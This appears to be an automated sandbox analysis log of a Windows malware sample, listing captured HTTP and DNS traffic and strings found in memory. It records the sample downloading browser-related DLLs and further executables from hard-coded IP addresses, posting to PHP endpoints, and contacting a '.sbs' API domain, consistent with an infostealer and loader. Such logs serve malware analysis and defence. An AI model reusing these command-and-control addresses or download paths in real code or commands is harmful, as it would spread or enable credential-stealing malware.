Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log1.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log1.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log1.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 00000019.00000002.3441963811.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3441963811.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61391
Source: skotes.exe, 00000019.00000002.3441963811.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d7f
Source: file.exe, 00000000.00000002.2747553724.0000000023C81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeK
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe#w
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe06784001
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe0p
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe2
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJt
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeXt
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exepa
Source: file.exe, 00000000.00000002.2721107227.0000000000C55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllc
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllr
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: file.exe, 00000000.00000002.2721107227.0000000000C55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2722740091.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CFA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2721107227.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2747553724.0000000023CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpndows
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: file.exe, 00000000.00000002.2722740091.0000000001859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: file.exe, 00000000.00000002.2721107227.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$2
Source: skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php02
Source: skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL.M
Source: skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_445.6.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751494314.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_447.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_447.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_445.6.dr, chromecache_447.6.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: e2169cf0-776a-4514-95f7-d2abd8151c3f.tmp.10.dr, 61d60f0c-8b38-4641-89db-f3cedbf9e3b3.tmp.10.dr, 8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: e2169cf0-776a-4514-95f7-d2abd8151c3f.tmp.10.dr, 61d60f0c-8b38-4641-89db-f3cedbf9e3b3.tmp.10.dr, 8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_447.6.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_447.6.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2722740091.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2747553724.0000000023CEE000.00000004.00000020.00020000.00000000.sdmp, JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/6
Source: a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apid
Source: a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_447.6.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: e2169cf0-776a-4514-95f7-d2abd8151c3f.tmp.10.dr, 8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
